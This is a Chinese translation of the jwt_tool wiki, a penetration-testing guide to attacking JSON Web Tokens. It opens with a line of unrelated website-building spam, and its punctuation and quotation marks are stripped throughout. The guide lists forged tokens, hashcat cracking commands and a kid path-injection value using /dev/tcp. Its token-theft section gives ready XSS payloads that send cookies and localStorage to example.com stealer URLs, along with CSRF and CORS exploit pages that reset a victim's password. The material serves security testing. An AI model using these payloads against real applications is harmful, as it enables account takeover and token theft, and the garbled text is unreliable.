北海建设厅网站,局域网的电脑怎么做网站服务器,html个人网站模版,西宁网站建设报价cu君博规范JSON Web Token#xff08;JWT#xff09;对于渗透测试人员而言可能是一种非常吸引人的攻击途径#xff0c;因为它们不仅是让你获得无限访问权限的关键#xff0c;而且还被视为隐藏了通往以下特权的途径#xff1a;特权升级#xff0c;信息泄露#xff0c;SQLi#xff…JSON Web TokenJWT对于渗透测试人员而言可能是一种非常吸引人的攻击途径因为它们不仅是让你获得无限访问权限的关键而且还被视为隐藏了通往以下特权的途径特权升级信息泄露SQLiXSSSSRFRCELFI等 可能还有更多攻击令牌的过程显然取决于您正在测试的JWT配置和实现的情况但是在测试JWT时通过对目标服务的Web请求中使用的Token进行读取篡改和签名可能遇到已知的攻击方式以及潜在的安全漏洞和配置错误使JWT攻击变得切实可行。
第一章JSON Web令牌简介
JSON Web TokenJWT是一个开放标准RFC 7519用于在双方之间安全地表示声明。JWT是一种无状态的认证机制,通常用于授权和信息交换。
JSON Web 令牌结构
JSON Web令牌以紧凑的形式由三部分组成这些部分由点.分隔分别是
头部Header有效载荷Payload签名(Signature)因此JWT通常如下所示。 xxxxx.yyyyy.zzzzz头部Header头部用于描述关于该JWT的最基本的信息通常由两部分组成令牌的类型即JWT和所使用的签名算法。例如 {
alg: HS256,
typ: JWT
}然后此JSON被Base64Url编码以形成JWT的第一部分。有效载荷Payload令牌的第二部分是载荷放置了 token 的一些基本信息以帮助接受它的服务器来理解这个 token。同时还可以包含一些自定义的信息用户信息交换。载荷示例可能是 {
sub: 1234567890,
name: John Doe,
admin: true
}然后对载荷进行Base64Url编码以形成JSON Web令牌的第二部分。签名(Signature)要创建签名部分您必须获取编码的头部编码的有效载荷密钥头部中指定的算法并对其进行签名。例如如果要使用HMAC SHA256算法则将通过以下方式创建签名 HMACSHA256(
base64UrlEncode(header) .
base64UrlEncode(payload),
secret)签名用于验证消息在整个过程中没有更改并且对于使用私钥进行签名的令牌它还可以验证JWT的发送者是它所说的真实身份。放在一起输出是三个由点分隔的Base64-URL字符串可以在HTML和HTTP环境中轻松传递这些字符串与基于XML的标准例如SAML相比它更紧凑。下图显示了一个JWT它已对先前的标头和有效负载进行了编码并用一个秘密进行了签名。
第二章jwt_tool使用
安装jwt_tool是使用本机Python 3库编写的与任何可能已经利用的JWT库没有任何依赖关系。唯一的依赖关系是加密过程例如签名和验证RSA / ECDSA / PSS令牌生成和重建公共/私人密钥以及其他一些实际任务。如果您不打算使用这些功能则可以按原样使用该工具。要获取一个jwt_tool简单的git副本将其从终端克隆到您的系统中
$ git clone https://github.com/ticarpi/jwt_tool要执行加密任务您只需要安装PyCryptodome作为一个独立的库即可去表演
$ pip3 install pycryptodomex 基本用法运行jwt_tool并查看用法信息
$ python3 jwt_tool.py -h处理令牌并启动交互式菜单
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po启动阅读器/解码器
$ python3 jwt_tool.py JWT_HERE -R启动eXplorer确定潜在的弱项
$ python3 jwt_tool.py JWT_HERE -X根据公钥验证令牌
$ python3 jwt_tool.py JWT_HERE -V -pk my_public.pem开始以交互方式篡改标头有效负载和签名
$ python3 jwt_tool.py JWT_HERE -T常见攻击尝试破解密钥HMAC算法
$ python3 jwt_tool.py JWT_HERE -C -d dictionary.txt尝试使用已知的公钥对不对称密码RS-EC-PS-进行“密钥混淆”攻击
$ python3 jwt_tool.py JWT_HERE -K -pk my_public.pem尝试使用“无”算法来创建未验证的令牌
$ python3 jwt_tool.py JWT_HERE -A处理JSON Web密钥存储文件重建公共密钥然后测试密钥以查看验证令牌的密钥
$ python3 jwt_tool.py JWT_HERE -J -jw jwks.json生成一个新的RSA密钥对将公钥作为JSON Web密钥存储对象注入令牌并使用私钥对令牌签名
$ python3 jwt_tool.py JWT_HERE -I欺骗远程JWKS生成新的RSA密钥对将提供的URL注入令牌将公共密钥导出为JSON Web密钥存储对象以提供的URL进行服务并使用私钥对令牌签名
$ python3 jwt_tool.py JWT_HERE -S -u http://example.com/jwks.json第三章攻击方法
下面介绍了用于检查Web应用程序或API上的JWT的工作流程。测试令牌可以通过多种方式完成但是关键部分是您需要一种发送HTTP请求并读取完整的显式响应的方式建议使用“拦截代理”工具。
配置
安装拦截代理将您的浏览器设置为对所有HTTPS请求使用代理安装代理的SSL证书如果使用HTTPS连接根据需要使用目标站点确保在拦截代理的历史记录中可以看到流量。 工作流程
以下步骤大致按顺序进行其中一些测试基于先前的测试结果。因此请按顺序进行。步骤一识别令牌首要目标是识别该应用程序正在使用JWT。最简单的方法是在代理工具的历史记录中搜索JWT正则表达式
[ ]ey[A-Za-z0-9_-]*\.[A-Za-z0-9._-]* -网址安全的JWT版本
[ ]ey[A-Za-z0-9_\/-]*\.[A-Za-z0-9._\/-]* -所有JWT版本误报的可能性更高步骤二识别测试页从这一点开始我们将重放令牌并寻找响应请求中的变化以发现问题。找到要使用的基本请求很重要该基本请求可提供有用的响应该响应清楚表明令牌是否仍然有效。一个很好的例子是网站上的“个人资料”页面因为我们只有在被授权通过有效的JWT进行访问时才能访问此页面。步骤三重放令牌捕获JWT之后我们可以在相同的上下文中将其重播回应用程序。这将产生与原始令牌相同的结果。为此选择包含令牌的页面加载请求然后选择重放它在Burp中单击鼠标右键然后选择Send to Repeater如果响应不同则令牌可能已过期或者某些其他情况可能导致令牌无效。挖掘一下以确定问题所在。您需要可重复且可验证的响应才能继续。步骤四有效从请求中删除令牌并观察结果-结果是否已更改是否需要令牌
对很好进行下一步不-也许JWT不是此应用程序上的授权手段。检查其他标头Cookie或POST数据这些数据可能会继续保留该会话。您可能仍然可以使用令牌进行操作因此请继续。步骤五检查删除签名的最后几个字符。是否返回错误失败或成功是否检查令牌如果出现错误消息则正在检查签名-阅读任何可能泄漏敏感内容的详细错误信息。如果返回的页面不同则正在检查签名。如果页面相同则不检查签名-是时候开始篡改有效负载声明以查看您可以做什么步骤六持久性重新发送同一令牌多次穿插不发送令牌或者一次发送无效签名从令牌末尾删除一个或两个字符。每次发送有效令牌后它是否继续工作令牌是否持久是的-令牌保持静态这是常见的行为。但是如果相同的JWT在注销后或持续很长时间后仍然有效则这可能表示不朽的令牌。请确保在大约24小时内重新测试该令牌并在令牌永不过期的情况下进行报告。否-令牌已过期或已被应用程序无效。一些系统经常使令牌失效或者只是在正常的HTTP响应中向您发送新令牌或者可以以编程方式调用“刷新令牌” API端点来检索新令牌。这可能意味着您需要经常切换基本测试令牌因此在发送被篡改的令牌之前请务必对其进行重新检查。步骤七起源检查令牌在代理请求历史记录中的起源。应该在服务器而不是客户端上创建它。如果首先看到它是从客户端发出的则客户端代码可以访问该密钥 -寻求它如果第一次看到它来自服务器那么一切都很好。步骤八查看索赔处理顺序更改直接在页面上反映或处理的任何有效载荷索偿但保持签名不变。更改后的值是否得到处理示例 如果有效负载包含个人资料图片网址或某些文本例如{“ login”“ ticarpi”“ image”“ https://ticarpi.com/profile.jpg ”“ about”“我的个人资料页面。“}然后调整地址以查看页面中是否反映了新图像或者调整文本以查看响应中是否有更改。在jwt_tool中进行篡改 进入篡改模式python3 jwt_tool.py [token] -T按照菜单篡改各种声明最后选择保留此令牌的原始签名如果更改被接受则应用程序将在签名验证之前或与之无关处理这些更改。看看您是否可以篡改任何重要的内容。如果未反映出更改那么将按正确的顺序处理JWT声明。步骤九弱HMAC密钥HMAC签名密钥例如HS256 / HS384 / HS512使用对称加密这意味着对令牌进行签名的密钥也用于对其进行验证。通常这些设置为简单的密码短语/密码。由于签名验证是一个自包含的过程因此可以测试令牌本身的有效密码而不必将其发送回应用程序进行验证。因此HMAC JWT破解是完全脱机的事务攻击者可以在GREAT SCALE上执行。存在许多用于JWT破解的工具jwt_tool也不例外。这对于快速检查已知的泄漏密码列表或默认密码很有用。在-d dictionary.txt参数旁边使用jwt_tool的-C标志来尝试针对字典文件中的所有单词验证密钥这种方法很有用但是由于JWT通常是应用程序的关键因此建议使用更强大的测试策略即使用hashcat通过多种可用技术利用高度并行化的破解尝试。确实如果您具有兼容的GPU则可以以每秒数亿个猜测的速度利用带有hashcat的破解JWT考虑到这一点在继续研究此方法的其余部分时值得在hashcat中启动各种测试。Hashcat命令字典攻击 hashcat -a 0 -m 16500 jwt.txt wordlist.txt基于规则的攻击 hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule蛮力攻击 hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min6一种有用的破解方法具有常见默认密码列表的字典攻击带有“泄露密码”单词表的字典攻击从目标网站和相关Wiki页面上抓取的单词进行有针对性的字典攻击使用目标字典进行规则攻击使用狭窄的焦点进行暴力攻击例如ullllllll-增量式使用庞大的单词表进行规则攻击使用广泛的焦点进行长时间的蛮力攻击例如“ aaaaaaaaaaaaaaaa-a -i-增量- min 6如果您可以破解HMAC机密则可以伪造令牌中的任何内容。这可能是一个严重漏洞。
测试已知漏洞使用jwt_tool
有关JWT库中已知漏洞的一些考虑因素是它们是试图使伪造令牌被应用程序接受。当我们的攻击更改了要签名的内容时它也会使现有签名无效。因此我们将现有令牌有效负载值与相关攻击方法一起使用进行测试。如果攻击成功我们的伪造令牌将被验证并使用原始值。换句话说如果您使用有效令牌以“ user1”身份登录并且尝试使用algnone攻击并保留所有有效载荷数据并且将其注销则该攻击将不起作用。如果您保持登录状态那么您的攻击就成功了您可以开始使用“有效负载”值来查看现在可以进行调整以获取特权或其他有益结果的内容。测试漏洞-‘none’算法CVE-2015-9235设置没有签名的“ alg”“ none”但是不要更改有效载荷-页面是否仍返回有效使用jwt_tool的-A标志切换算法并放弃签名
如果页面返回有效页面则表明您有旁路-进行篡改。测试漏洞-RSA密钥混淆CVE-2016-5431您将需要RSA公钥进行测试。有时应用程序通过API或文档中隐藏的内容提供此功能。您还需要使用正确的公钥格式。如果提供了密钥那么就很好如果没有那么最好的猜测是PEM format。请注意PEM 末尾应包含一个换行符但是某些工具在导出密钥时可能会忽略此字符。将jwt_tool的-V标志与-pk public.pem参数一起使用以验证找到的公钥与用于对令牌进行签名的密钥一起使用jwt_tool的-K标志与-pk public.pem参数一起使用以伪造新的攻击令牌如果页面返回有效则表明您有旁路-进行篡改。测试漏洞-JWKS注入CVE-2018-0114创建一个新的RSA证书对注入一个包含公钥详细信息的JWKS文件然后使用私钥对数据签名。如果成功则应用程序应使用您提供的密钥数据进行验证。使用jwt_tool的-I标志生成一个新的密钥对注入包含公共密钥的JWKS并使用私有密钥对令牌进行签名如果页面返回有效则表明您有旁路-进行篡改。“kid”问题-揭示关键如果标头中使用声明“ kid”请检查该文件的Web目录或该文件的变体。例如如果“ kid”“ key / 12345”则在Web根目录下查找/ key / 12345和/key/12345.pem。“kid”问题-路径遍历如果标头中使用声明“ kid”请检查是否可以在文件系统中使用其他文件。选择一个您可能能够预测其内容的文件或者尝试“ kid”“ / dev / tcp / yourIP / yourPort以测试连接性甚至测试某些SSRF负载…使用jwt_tool的-T标志来篡改JWT并更改孩子索赔的价值然后选择保留原始签名URL篡改攻击对于以下攻击您将需要从服务器收集响应。这个想法是您试图让服务器跟随您的链接。一个简单的方法来做到这一点是打嗝的合作者但许多其他选项的存在取决于你有可用的工具如果你有一个互联网路由主机如Web服务器与终端接入您可以使用tcpdump收集的相互作用sudo tcpdump -A tcp dst port 80 -i eth0或者您可以在您的网络服务器上观看实时HTTP流量日志记录。例如tail -f /var/log/apache2/access.log您甚至可以使用像RequestBin这样的实时日志记录服务。但是对于Burp用户而言Burp Collaborator是一个简单的选项只需在Burp菜单中单击Burp Collaborator客户端即可。单击复制到剪贴板以复制当前主机名以注入到测试中。如果发现在Burp Collaborator中有交互则应检查它仅仅是DNS还是实际的HTTP通信。DNS可能指示代理或WAF检查通信是否包含恶意有效负载或者可能是来自服务器的后续HTTP通信的先驱。HTTP访问通常表明服务正在尝试进行交互-通常是收集或加载资源或者发送数据。测试漏洞-JWKS欺骗如果令牌使用“ jku”标题声明则签出提供的URL。这应该指向一个包含JWKS文件的URL该文件包含用于验证令牌的公共密钥。篡改令牌将jku值指向您可以监视其流量的Web服务。如果获得HTTP交互您现在知道服务器正在尝试从提供的URL加载密钥。 在-u http://example.com参数旁边使用jwt_tool的-S标志生成一个新的密钥对注入您提供的URL生成一个包含公钥的JWKS并用私钥对令牌进行签名。 其他攻击
以下是应该测试的已知弱点。跨服务中继攻击一些Web应用程序使用受信任的JWT“服务”为其生成和管理令牌。在过去的某些情况下为一个JWT服务的客户端生成的令牌实际上可以被另一个JWT服务的客户端接受。如果您发现JWT是通过第三方服务发布或更新的则值得确定是否可以使用相同的用户名/电子邮件在该服务的另一个客户端上注册一个帐户。如果是这样请尝试获取该令牌并在对目标的请求中重播它。被接受了吗
如果您的令牌被接受那么您可能会遇到严重问题使您可以欺骗任何用户的帐户。但是请注意如果您正在注册第三方应用程序则在进入合法的灰色区域时可能需要寻求更广泛的测试权限的许可是否检查了exp“ exp”有效负载声明用于检查令牌的到期。由于JWT通常在没有会话信息的情况下使用因此确实需要谨慎处理-在许多情况下捕获和重播其他人的JWT会使您伪装成该用户。缓解JWT重播攻击的一种方法由JWT RFC建议是使用“ exp”声明来设置令牌的到期时间。同样重要的是在应用程序中设置相关检查以确保处理此值并且令牌在过期时被拒绝。如果令牌包含“ exp”声明并且测试时间限制允许请尝试存储令牌并在过期时间过后重播。 使用jwt_tool的-R标志读取令牌的内容其中包括时间戳解析和到期检查UTC中的时间戳如果令牌仍在应用程序中验证则可能存在安全风险因为令牌可能永不过期。 进行模糊测试并进一步发展… 现在您已经经历了已知和常见的攻击但是请等待 -这还没有结束 每个优秀的应用程序测试人员都知道应用程序处理的每条用户提交的数据都可能是攻击媒介。正如我们所知我们的令牌权利要求的内容完全控制所以它的时间去创作…… 起毛能力即将到jwt_tool但在那之前和技术建议和方法检查了篡改和模糊测试页面。
第四章深入研究JWT安全性
第一篇脆弱索赔
以下是根据相关RFC提出的“官方”或要求的权利要求。在此确定了它们的功能以及它们可能暴露的任何观察到的或理论上的漏洞。标头声明标头声明是令牌的“元数据”告诉应用程序令牌是什么类型令牌是如何签名的签名密钥或秘密的存储位置以及其他详细信息。必须在验证令牌之前对它们进行处理这就是为什么在Header声明中发现了大多数JWT库漏洞的原因。一些“标准”主张| Token | Description | Format || ——- | —————————————————————- | —————- || typ | 令牌类型 (JWT/JWE/JWS等) | string || alg | 用于签名或加密的算法 | string || kid | Key ID - 用作查找 | string || x5u | x509证书的URL | URL || x5c | 用于签名的x509证书作为嵌套的JSON对象 | JSON object || jku | JWKS格式键的URL | URL || jwk | 用于签名的JWK格式密钥作为嵌套的JSON对象 | JSON object |标头声明中的漏洞
可以调整引用算法或签名方法的要求以强制服务尝试通过修改的过程来验证提供的令牌。引用URL的声明可用于重定向服务以在攻击者的控制下查询URL。可以注入包含签名证书的声明以提示服务使用提供的密钥来验证令牌。可以修改儿童索赔以调整/攻击用于查找/访问签名密钥的位置或方法。净荷索赔有效负载声明是令牌的特定于应用程序的数据。它们将已编程包含的自定义数据列表传递给应用程序。它们通常在令牌经过验证后进行处理这限制了它们在旁路攻击中的作用。但是某些应用程序可能会使用某些提供的数据而不会进行正确的验证检查。如果您找到一种方法来获得令牌签名那么有效负载声明的内容将为您提供模拟特权提升代码执行或其他攻击路径的路径。“标准”声明| Token | Description | Format || ——- | ————————————————————— | ——————— || iss | 令牌的发行人 | string/URL || aud | 令牌的受众作为令牌预期接收方的用户或服务 | string/URL || sub | 主题令牌的接收者 | string || jti | 令牌的唯一标识符 | string/integer || nbf | NotBefore-在该时间戳记之前的UNIX时间戳记 | integer || iat | IssueddAt-令牌创建/生效的时间的UNIX时间戳 | integer || exp | 过期-令牌应停止有效的时间的UNIX时间戳 | integer |净荷索赔中的漏洞可以对带有URL的声明进行调整以在攻击者的控制下将流量重定向到外部服务。具有时间戳的声明可能会在验证之前进行处理并且可能会进行调整以影响令牌的有效性。补充声明可能会被应用程序代码以意外方式访问并且可能会通过注入或添加这些字段而引入广泛的攻击路径。
第二篇已知漏洞和攻击
有趣的是所有这些都通过操作标头值来影响令牌。这主要是因为头控制如何或用什么令牌进行签名。攻击有效负载部分中的目标值可能是特定于平台/服务的而不是特定于库的。在这一点上还值得注意的是在没有极其冗长的错误的情况下您不太可能知道哪个JWT库更不用说该库的哪个版本正在给定服务上签名令牌。因此在测试JWT时我们最好的选择是尝试所有技巧看看是否有任何问题。JWT库存在以下CVE
CVE-2015-9235 Alg无攻击CVE-2016-5431密钥混淆攻击CVE-2018-0114密钥注入攻击其他已知攻击JWKS欺骗“kid”注射跨服务中继攻击弱密钥
CVE-2015-9235-Alg无攻击此攻击针对JWT标准中用于生成无符号密钥的选项输出实际上省略了第二个点之后的任何签名部分。由于某些库或服务器配置中的弱点服务可能会读取被篡改的请求请确保不需要对其进行签名然后信任地接受它。示例
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJsb2dpbiI6InRpY2FycGkifQ.解构
{typ:JWT,alg:none}.
{login:ticarpi}.
[No signature!]如何抵御这种攻击 JWT配置应该只指定所需的签名算法不要指定“无”CVE-2016-5431-密钥混淆攻击此攻击的原因是某些库对签名/验证HMAC对称加密的密钥和包含用于验证RSA签名令牌的公钥的密钥使用相同的变量名。通过将算法调整为HMAC变体HS256/HS384/HS512并使用公共可用公钥对其进行签名我们可以欺骗服务使用机密变量中的硬编码公钥验证HMAC令牌。示例
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.I3G9aRHfunXlZV2lyJvWkZO0I_A_OiaAAQakU_kjkJM解构
{typ:JWT,alg:HS256}.
{login:ticarpi}.
[使用HMAC-SHA256签名使用公钥文件作为密钥验证。]如何抵御这种攻击JWT配置应该只允许使用HMAC算法或公钥算法决不能同时使用这两种算法。CVE-2018-0114-密钥注入攻击此攻击尝试了一些JWT库中不太常用的验证技术-包含内联公钥。攻击者可以使用新的私钥对令牌进行签名在令牌中包含公钥然后让服务使用该密钥验证令牌。示例
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJURVNUIiwidXNlIjoic2lnIiwiZSI6IkFRQUIiLCJuIjoidTdzRU00RmlvT3J6ODFPSENBUGRUZjNncUc4dm12NVJOUndTd0t4X3RqMHBsRjlrdmtEUHVMTDRVa3JqTnVCMWNHdU1hanFxR0xTZXpRQ0xBWmRldC0td3FSbVRfVGNVeGtieVZMV1JiUUg5UWNJRVM0UXpuc20yckR0Wnp4U1VHNnVlNzBBRm1EZkdiSkVQMGI5Nkllc0JfNlBTOS1FWXdLXzl5X3ZwRTloZTNNTUo4WEROSVM5amNSUkNqc21DVldQb1BGX01NcUZjZmZfeWZPNDRPQkVSZWdOOHB2b19UX3Bial91ZkU2X1pGek80VUl6QkNzRUR4RE5mZk9RRkdNRzZoaXRjQm8wTmJSUkFVYUY3dmhMYVRkQjNjRXdPLWVoNEZpSm9nRVRMZGxPRVFXRlZCZldLUWh1YWJEU0FnWGZQOUNXbXh1Smg5YzNRX0tMZFF3In19.eyJsb2dpbiI6InRpY2FycGkifQ.jFu8Kewp-tJ4uLVTRm6D5wBkbikNtLufGHa8ZmEutAZyrPETaD5JaLHZ8Mlw6zBxCNKzmAXbEaDGtNoQ6rfIGHwiTwzk2C897HNR-vwTAyHh7lAgixelqrlkAP7OBWEALH_u7QuIDZpu79V4Aur9CzYai9UvaLqsHhFLf4Gwha9CGV68BnO_Cxye_5vRhzcWEPXIAp8DQMHEDovS6NF_CTEvKA8I6jp2nb726m0nLJo-WWKlCF0UNwSGZ3R3A0YFPL-I1Ld6_8W2dIZRKt4PAtEAPde-RIyf9vKWaHsQDaxnI40xxN3IwvkB2-nDUaTLZtVwBBiTEMoUrkoNTY6XKg解构
{typ:JWT,alg:RS256,jwk:{kty:RSA,kid:TEST,use:sig,e:AQAB,n:u7sEM4FioOrz81OHCAPdTf3gqG8vmv5RNRwSwKx_tj0plF9kvkDPuLL4UkrjNuB1cGuMajqqGLSezQCLAZdet--wqRmT_TcUxkbyVLWRbQH9QcIES4Qznsm2rDtZzxSUG6ue70AFmDfGbJEP0b96IesB_6PS9-EYwK_9y_vpE9he3MMJ8XDNIS9jcRRCjsmCVWPoPF_MMqFcff_yfO44OBERegN8pvo_T_pbj_ufE6_ZFzO4UIzBCsEDxDNffOQFGMG6hitcBo0NbRRAUaF7vhLaTdB3cEwO-eh4FiJogETLdlOEQWFVBfWKQhuabDSAgXfP9CWmxuJh9c3Q_KLdQw}}.
{login:ticarpi}.
[Signed with new Private key; Public key injected]如何防御这种攻击JWT配置应该明确定义接受哪些公钥进行验证。JWKS欺骗此攻击使用“jku”和“x5u”标头值它们指向用于验证非对称签名令牌的JWKS文件或x509证书通常在JWKS文件中的URL。通过将“jku”或“x5u”URL替换为包含公钥的由攻击者控制的URL攻击者可以使用成对的私钥对令牌进行签名并让服务检索恶意公钥并验证令牌。示例
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vdGljYXJwaS5jb20vandrcy5qc29uIn0.eyJsb2dpbiI6InRpY2FycGkifQ.FgnNEj7qm6PPQCCL_f6krxcTSg4uKJSOQf2kTNOQQty25o9ON1SkEpuRgbg54TOjBz7hoqCKc9qRP6GcFy4-5vPVh_lk8x9lQmm7A34Bqkmr41Y8oCIKzlxrdqRxm-gVRkrAXti5slICzRijThkTixe2oem4_q4_8jP01jjuVTK-h3h2ZBQ7GvICEbOTv2ffd_IB-EF6Aua4Mt1164SNamvq3XQ58pLRuZCiR2wjoj1rJ8IkND3pRfg-ziYc86RSLEqq44HCQZ9Suq2r9XGrPkKUE30O6hFCrWJYfaQUTAya8PndhxWrgV5WRzIHYA9Br0kQ29q0DUz-GESLRaK2Ww解构
{typ:JWT,alg:RS256, jku:https://ticarpi.com/jwks.json}.
{login:ticarpi}.
[Signed with new Private key; Public key exported]要防御此攻击JWT配置应该明确定义允许哪些JWKS文件/url。“kid”注射此攻击破坏了应用程序处理密钥ID值的方式。有些库使用系统调用如文件系统查找或数据库查询来提取“kid”头值中指定的密钥。通过将恶意数据注入此声明攻击者可以强制应用程序执行任意SQL查询、系统命令甚至可以将“密钥文件”的目标重定向到系统上的已知文件以强制使用新的密钥对HMAC令牌进行签名和解密。要防御此攻击在应用程序中应该为“kid”值指定设置参数并且在处理之前丢弃与此不同的输入。跨服务中继攻击一些服务使用外部身份验证服务或共享本地身份验证服务器来生成令牌。如果这些令牌未指定特定的目标服务则可能注册一个服务并将令牌重播到另一个服务并获得具有不同权限的访问权限。要防御此攻击确保所有共享身份验证服务令牌都包含一个“aud”访问群体声明指定令牌的目标群体或使用其他自定义方法来区分重播的令牌。弱密钥破解的乐趣当使用HMAC对称签名算法时可以使用各种简单的CPU破解工具离线破解或者插入GPU驱动的强力破解设备。如果你使用一个弱的或短的字符串作为密钥那么它可能很快就会被破解。要防御此攻击跳过HMAC签名并使用非对称加密它要更安全一点。如果由于某种原因无法避免HMAC签名请确保实现长的随机密钥字符串并定期更换密钥。
第三篇查找公钥
为了尝试使用非对称加密的令牌的某些攻击路径我们可能需要找到公钥有许多可能的方法。SSL密钥重用在某些情况下令牌可能会使用网络服务器的SSL连接的私钥进行签名。抓住x509并从SSL中提取公钥非常简单
$ openssl s_client -connect example.com:443 21 /dev/null | sed -n /-----BEGIN/,/-----END/p certificatechain.pem
$ openssl x509 -pubkey -in certificatechain.pem -noout pubkey.pemAPI暴露为了验证令牌服务可以通过API端点例如“ / API / v1 / keys”公开公钥。应该列出的位置是API的文档如果您有权访问它们否则您可能会在代理历史记录中看到到此端点的访问量。JWKS常见位置另一种常见的替代方法是在JWKSJSON Web密钥存储文件中公开密钥或密钥集。一些常见的位置是
/.well-known/jwks.json/openid/connect/jwks.json/jwks.json/api/keys/api/v1/keysJWKS文件的其他位置可能是特定于平台的因此值得检查文档或通过谷歌搜索。来自jku声明或x5u声明的URL有两个标准的标头声明可以将服务定向到公钥进行验证jku-指向JWKS URL的声明x5u-指向X509证书位置的声明可以在JWKS文件中从ISS索赔线索可以暗示公共密钥位置的另一个声明是iss有效载荷声明它显示了创建JWT的主体的名称或URL它可以是外部服务或API。使用此信息将您的搜索引导到发卡行公钥的可能位置。详细错误最后您可能只是幸运地发现了应用程序或外部Issuer中的详细错误。要尝试强制错误您应该提交混合的“破损”令牌签名损坏无效的Base64格式保留在填充中无效的Base64模式使用URL安全标准输出URL编码无效的声明值错误的URL等无效的算法“ alg”无效的JWT类型“典型”值模式错误字符串/整数/浮点数/布尔值尝试任何您认为可以打破的尝试
第四篇篡改和模糊
篡改成功利用后您可以篡改有效载荷数据来尝试各种攻击。这些可能包括更改用户名或用户ID以接管另一个帐户可能正在调整应用程序上的角色列表可能涉及启用管理属性。只需查看可用的声明看看您可以如何处理它们。使用jwt_tool的-T标志进入交互式篡改模式并破坏标头和有效载荷声明以及大量的签名方法/攻击模糊测试将现有声明更改为各种值使它们无效从int更改为string等都是使服务无法正确解析JWT的好方法。这可能会提示错误消息或其他意外结果。模糊测试对于测试对有效载荷声明的注入攻击也很有用例如XSS和SQLi攻击。Fuzzing模式jwt_tool仍在开发中具有多种签名方法的选项但与此同时您可以使用Burp Intruder进行以下攻击
使用JWT将请求加载到Intruder中清除建议的有效负载职位Base64解码JWT的Header或Payload部分突出显示您希望攻击的完整解码声明将其复制到剪贴板然后将其添加为有效负载位置见图1.1。在有效载荷选项卡中选择要用于模糊索赔的列表在有效负载处理部分下 单击添加按钮。选择添加前缀然后将JWT部分粘贴到您想要模糊的值为止例如{“ login”“单击添加按钮。选择添加后缀然后将JWT部分粘贴到要模糊的值之后例如“}单击添加按钮。选择编码然后选择Base64单击添加按钮。选择“ 匹配/替换”然后在“ 匹配正则表达式”字段中输入等号并将“ 替换为”字段保留为空白见图1.2。
点击开始攻击见图1.3 进一步模糊的想法为什么不通过注入重复的声明来尝试参数污染也许您可以将索赔从抬头移到有效载荷块反之亦然如何注入其他常见要求如何为您在应用程序中看到的其他变量或参数添加声明
第五篇窃取JWT
如果您可以窃取并重播JWT则无需破解JWT 如果您在应用程序中存在其他漏洞则可以窃取或劫持其他用户的令牌。XSS通用的cookie窃取程序XSS有效负载将可以访问以cookie形式存储的JWT只要未将cookie设置为HTTPOnly就可以使用有效负载来窃取LocalStorage或SessionStorage变量的内容。如果JWT存储在JavaScript变量中那么您知道名称也可以窃取它。例子
document.locationhttp://example.com/cookiestealer.php?cdocument.cookie;
new Image().src http://example.com/log.php?localStorageJSON.stringify(window[localStorage]);
document.locationhttp://example.com/?passwordsecretPasswordVariable;CSRF当通过身份验证的用户与目标站点进行交互时存储在cookie中的JWT令牌无论是否为HTTPOnly将由浏览器自动发送。当受害者触发CSRF有效负载时浏览器将发送包括令牌的关联cookie。攻击者将看不到这些内容但是由于它们被用来进行攻击者的出价因此这实际上并不重要。例子
form idautosubmit actionhttp://www.example.com/account/passwordreset enctypetext/plain methodPOST
input nameusername typehidden valuevictim1 /
input namepassword typehidden valueBadGuyKnowsThis! /
input typesubmit valueSubmit Request /
/form
script
document.getElementById(autosubmit).submit();
/scriptCORS配置错误当站点的CORS策略允许任意来源以及发送凭据时可以在向Web服务器制作包含XHR请求的攻击页面的同时捕获响应。这导致两种可能的攻击路径
如果在应用程序的任何HTTP响应中返回了JWT则攻击者可以在发送“触发”请求时读取令牌。一个很好的例子就是JWT的“刷新令牌”或查询帐户页面或登录页面。如果JWT是通过Cookie发送的则CORS可以用作CSRF的一种类型以发送令牌而攻击者无需查看令牌示例-XHR CORS script
var xhr new XMLHttpRequest();
xhr.open(GET, http://www.avictimwebsitewithJWTcookieauth.com/api/refreshtoken);
xhr.withCredentials true;
xhr.setRequestHeader(Content-Type, application/json;charsetUTF-8);
xhr.send();
/script示例-XHR CSRF script
var xhr new XMLHttpRequest();
xhr.open(POST, http://www.avictimwebsitewithJWTcookieauth.com/api/passwordreset);
xhr.withCredentials true;
xhr.setRequestHeader(Content-Type, application/json;charsetUTF-8);
xhr.send({newpass:BadGuyKnowsThis!});
/script中间人攻击在捕获的HTTP流量中在未加密流量的标头/正文中在防火墙/网关/其他服务器的日志文件中在引荐来源链接如果作为URL参数公开或其他地方也可能会看到JWT。
它已对先前的标头和有效负载进行了编码并用一个秘密进行了签名。 译文声明本文由Bypass整理并翻译仅用于安全研究和学习之用。 原文地址https://github.com/ticarpi/jwt_tool/wiki
